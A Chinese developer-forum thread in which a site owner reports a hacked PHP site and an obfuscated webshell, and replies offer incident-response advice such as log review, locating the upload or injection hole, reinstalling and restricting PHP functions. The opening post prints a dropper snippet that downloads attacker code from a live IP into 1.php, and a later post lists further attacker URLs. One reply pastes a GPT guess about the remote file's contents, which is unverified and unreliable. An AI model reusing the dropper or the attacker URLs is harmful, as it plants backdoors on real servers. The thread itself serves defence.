事情经过: 1 个小网站前几天都还登录过去,昨天登录后台竟然提示密码不对, 再试了 3 次一样提示,心里顿时不对劲,估计被黑了,立马返回网站首页查看源代码,果然被挂了 xx 内容,然后进宝塔进网站目录查看,发现了 1.php 文件。打开发现文件是 goto 加密,思考了片刻,还原不了。
例外在其他目录文件也发现了下面的片段:
<?php
$a="copy";
$a("http://23.251.35.165/as.txt","1.php");
?>
这个远程 txt 地址就是入侵者用来生成 1.php
请各路神仙帮忙分析分析,里面都装的啥内容,希望让更多的 v 友知道,预防一下 🙏
1
kilala2020 2023-09-12 10:20:31 +08:00
东西好歹发出来看看
|
2
Epona OP @kilala2020 忘记加代码块了,抱歉。
|
3
xieshaohu 2023-09-12 10:23:03 +08:00
管他是什么内容,先防火墙规则设置只允许白名单进出,然后 tcpkill 杀掉所有连接,然后清理被感染的问题,再安装个 clamav 杀毒。
碰到过 Linux 被挂马最多的就是挖矿,白嫖算力。 |
4
ccc008 2023-09-12 10:27:44 +08:00
找到这个文件修改的时间,然后分析日志,根据日志访问情况顺藤摸瓜找到网站原始漏洞,然后进行修补。
|
5
Epona OP 能解密里面的内容吗? goto 加密似乎很难破译出来
|
6
ttentau1 2023-09-12 10:34:10 +08:00
|
7
NessajCN 2023-09-12 10:35:22 +08:00
啥叫还原不了?你自己的服务器自己登不进去吗? ssh ? vnc ?
如果是 vps 那找云服务商啊 如果是线下实体机去拔线连显示器啊 |
8
LLaMA2 2023-09-12 10:35:43 +08:00
都是明文的,加密了什么?
|
9
javalaw2010 2023-09-12 10:42:48 +08:00
随便搜了个在线反混淆工具解开看了下,就是个 webshell ,功能还挺多: https://t.wss.ink/f/c5x7f12ww27
|
12
brader 2023-09-12 10:46:21 +08:00 5
@Epona 你的关注点似乎错了,其实 1.php 文件里面有什么内容,真的不重要,因为对方可通过你上面发的那个代码片段随时更新和重新生成 1.php 里面的内容。你应该关注的是,上面那个代码片段,是经由哪个漏洞侵入进来的,把这个漏洞找到封堵,才是从源头解决问题
|
13
x86 2023-09-12 10:47:52 +08:00
重装吧,更新下安全组和目录权限。找不到漏洞的情况下你也挺被动
|
14
v2geek 2023-09-12 10:48:24 +08:00 1
|
15
Epona OP @javalaw2010 厉害了 👍
|
16
goodname 2023-09-12 11:28:21 +08:00
不负责任的猜测,后台密码不对,可能是通过 sql 注入获取的后台密码,然后利用后台上传文件功能,上传 webshell
|
17
skiy 2023-09-12 11:31:26 +08:00
先查源头很重要。否则搞一整天,发现是镜像的问题就好玩了。
--- 曾经使用某小主机商的 VPS ,被挂挖矿程序了。以为是自己程序的问题,后来把程序全下了。重装系统之后,什么也不装。过了几天,那个挖矿程序又被开起来了。应该是他们镜像的问题。 |
18
putyy 2023-09-12 11:35:19 +08:00
先反攻击一波 对方 ip 都暴出来了
|
19
Epona OP 从上面 v 友提供的线索得到的链接:
http://154.204.233.162/panel.txt http://154.204.233.162/zrty.txt http://www.lgdjsc.top/jsc/jsc_link.txt 隐藏的太深了,看样子我得去找网站具体漏洞了。 @brader 谢谢提醒 |
20
weeei 2023-09-12 11:48:20 +08:00 1
有一个野路子:在某个地方放你整站的打包,设置一个定时覆盖
|
21
gam2046 2023-09-12 11:48:57 +08:00 1
这时候 GPT 才有意义了,毕竟人工分析还是困难的。虽然不一定全对,但是应该能分析个大概出来。
以下内容来自 GPT: 如果您查看这个网址的内容,您会发现它是另一个 PHP 脚本,它的内容是: ``` <?php $ip = $_SERVER['REMOTE_ADDR']; $port = $_SERVER['REMOTE_PORT']; $agent = $_SERVER['HTTP_USER_AGENT']; $ref = $_SERVER['HTTP_REFERER']; $filename = $_SERVER['SCRIPT_NAME']; $method = $_SERVER['REQUEST_METHOD']; $data = $_SERVER['QUERY_STRING']; $postdata = file_get_contents("php://input"); $cookies = $_SERVER['HTTP_COOKIE']; $date = date("Y-m-d H:i:s"); $file = fopen("log.txt","a"); fwrite($file,"$date|$ip|$port|$agent|$ref|$filename|$method|$data|$postdata|$cookies\n"); fclose($file); ?> ``` 这段代码的作用是将访问您网站的用户的一些信息记录到一个名为 log.txt 的文件中。这些信息包括用户的 IP 地址、端口号、浏览器信息、来源网址、访问的文件名、请求方法、查询字符串、POST 数据和 Cookie 等。 |
23
hack 2023-09-12 11:55:20 +08:00
寄生虫刷外链?
|
24
MFWT 2023-09-12 11:56:29 +08:00
@javalaw2010 刚一下下来,火绒给我拦了,还得我手动信任
|
25
MFWT 2023-09-12 12:06:02 +08:00
看了一下内容,有点类似 Web 版中国菜刀,反正就是可以任意操作文件了
|
26
googlefans 2023-09-12 12:19:49 +08:00
这帮攻击别人网站的人真的垃圾不如
|
27
22too 2023-09-12 12:28:59 +08:00
先服务器重装吧。 然后安装最新版本软件。
其他的都是白折腾 |
28
Liftman 2023-09-12 12:52:07 +08:00 via iPhone
做网安的路过。浅讲两点,1 你需要做服务器扫描,确定系统层面没有问题,2 ,即使你恢复网站,也需要再做一次应用扫描,请人做渗透测试最好。问题也许发生在服务器上 也许是网站,也有可能是根本的业务逻辑漏洞。这些日常都很常见的。
|
29
MFWT 2023-09-12 13:36:07 +08:00
根据#9 反混淆后的代码补充:
这玩意可以通过 URL 参数指定一个远程网址获取内容并写入文件,所以赶紧检查下你的服务器有没有别的什么木马被一起下载下来了 |
30
lupus721 2023-09-12 13:57:08 +08:00
确定入口点是当务之急,反查木马都再说了。
根绝文件生成时间,看对应的访问日志,评估下从哪里进来的,然后再说安全狗之类的全盘扫描,杀杀 webshell 之类的。 当然可以做的另一个就是加个防火墙,如果对方用的常规的漏洞点,也能起到一定的防御作用。 无责任推荐长亭的防火墙,免费的就差不多够用 |
31
justfun 2023-09-12 14:14:18 +08:00
|
33
proxytoworld 2023-09-12 14:22:41 +08:00
不止你一个站被打过
|
34
proxytoworld 2023-09-12 14:24:37 +08:00
|
35
proxytoworld 2023-09-12 14:24:56 +08:00
@proxytoworld 点进去都是菠菜页面
|
37
TORYOI 2023-09-12 14:41:34 +08:00
找网站漏洞才是要紧的事,不然下次还得被黑,狗皮膏药一样清不完
|
38
opengps 2023-09-12 14:49:05 +08:00
这种一般不是靠防火墙进来的,而是通过你应用自身的漏洞进来的,大概率路径(我经历过一次):
1 ,你有上传入口,校验不够全面,能上传脚本类的文件 2 ,上传后文件,可以直接执行,或者可以间接从公网访问下构造的路径来执行 3 ,执行的代码,就是你列举的这段,外网构造过之后的新木马文件。 4 ,在你网站的这个路径下,可以打开这个后门网页 5 ,通过这种后门网页,可以操作你系统内的数据 |
39
yumusb 2023-09-12 15:07:08 +08:00
|
40
MFWT 2023-09-12 15:21:13 +08:00
@yumusb
看了看代码,应该不止 Admin001...这一个密码,还有一个(没有反查出来)的,两个都能登录 Admin001...更像是作者留的后门,因为发现了不管是直接写登录参数还是输入 Admin001...都能登录 |
41
SoyaDokio 2023-09-12 15:31:26 +08:00
就像楼上大哥说的,这个 webshell 并不重要,很多地方都有各种版本的这玩意儿。关注点应该是它通过什么渠道方式来到你的服务器的,然后去堵上这条路,才能保障之后不被同一个问题再干一次。
一般而言,最常见的原因就是脱裤泄露邮箱密码、未限制文件上传、输入框未做反注入。 |
42
NjcyNzMzNDQ3 2023-09-12 15:58:03 +08:00
楼上都说要查漏洞入口,我补个能最快解决的方案
1 、禁止访问外网 换 docker 运行 php 环境,禁止容器访问外网;因为木马大都是要从别处下载文件; https://codeantenna.com/a/maL0PJWMIb 2 、禁止危险函数 禁止危险的 php 函数,shell_exec ,system 之类的 这些做完后,除了 SQL 注入,项目本身的上传漏洞就没别的招了 |
43
HackerTerry 2023-09-12 16:05:09 +08:00
@yumusb 话说这个“一键 GZL”、“一键 TDK”和“一键 JSC”是什么意思啊?
|
44
BeforeTooLate 2023-09-12 16:15:49 +08:00
|
45
Epona OP 再次感谢各位 v 友,目前网站筛了好几遍,目前没发现其他地方有可疑文件了,网站正常访问,后面陆续观察一段时间。
🙏🙏 |
46
justjy 2023-09-12 17:05:54 +08:00
盲猜可能:
1. 系统漏洞被利用 2. SQL 注入 3. 系统管理员或者后台管理工具(宝塔)弱口令 4. 使用了明文协议(HTTP/FTP)导致密码被窃取 如果是 SQL 注入,通过重装系统没法解决,需要排查具体漏洞并在代码层面修复 |
48
z775781 2023-09-12 18:51:30 +08:00
当务之急是找出对方怎么侵入主机,大概率是通过 web ,可以试试翻 web 日志文件,找出 shell 被访问的时间
|
49
onice 2023-09-12 19:11:32 +08:00
看 web 日志,是哪个 IP 在访问 1.php ,然后把这个 ip 的请求过滤出来。
顺着时间线梳理,看下这个 webshell 是怎么传上来的。通过日志,找到漏洞,以便修复。 然后通过 webshell 查杀工具扫描下网站目录。 参考手册: 链接: https://pan.baidu.com/s/1bHuSs8DnK-eQcRiwte_EaQ?pwd=g15i 提取码:g15i |
50
kwanzaa 2023-09-12 21:10:23 +08:00
宝塔可还行
|
51
awolf 2023-09-12 21:25:34 +08:00
上 WAF !(我就是来喊喊)
|
52
proxytoworld 2023-09-12 22:26:33 +08:00
@Epona 我还是建议你重装,PHP 木马只是入口文件,也就是作为初始访问的手段,如果比较专业的人肯定会布置后门/木马进行持久化
|
53
Epona OP |
54
nikelei 2023-09-13 09:55:38 +08:00
php 是世界上最好的语言!
|
55
justjy 2023-09-13 11:10:38 +08:00
@Epona 网站后台如果有上传功能(比如图片上传)且允许上传 php 代码到可外部访问的 web 地址,攻击者直接上传 Web Shell 然后通过 web 就能控制你的服务器了。
|
56
proxytoworld 2023-09-13 12:34:18 +08:00
@Epona 看日志和上传功能点
|
58
winsunz 2023-09-13 14:36:42 +08:00
|
59
gogod112121 2023-09-13 18:55:22 +08:00
@gam2046 nice
|
60
MFWT 2023-09-14 10:20:33 +08:00
仔细看了一下,这玩意核心功能是给系统一键挂马和下载指定内容的『关键词』,写入脚本,然后批量返回给百度爬虫,最终结果就是让百度搜索里面出现大量的这个关键词——上网上的多的朋友应该也碰到过了,各种『 xx 视频』,『 xx 劲爆内容』的
|
61
yagamil 2023-09-14 13:57:11 +08:00
个人的实践,之前的 php 被黑进来装了挖矿程序。
不过应该每个应用都是 docker 容器,mysq ,nginx ,php 都是,所以对我影响不大。重新拉个最新的镜像。 webshell 这种可能是别人用扫码器扫瞄出来的漏洞,并非针对性你。刚好又用了字典里的密码。(网上很多站点的密码泄露后被人做出来的密码字典,暴力扫码你的网站) |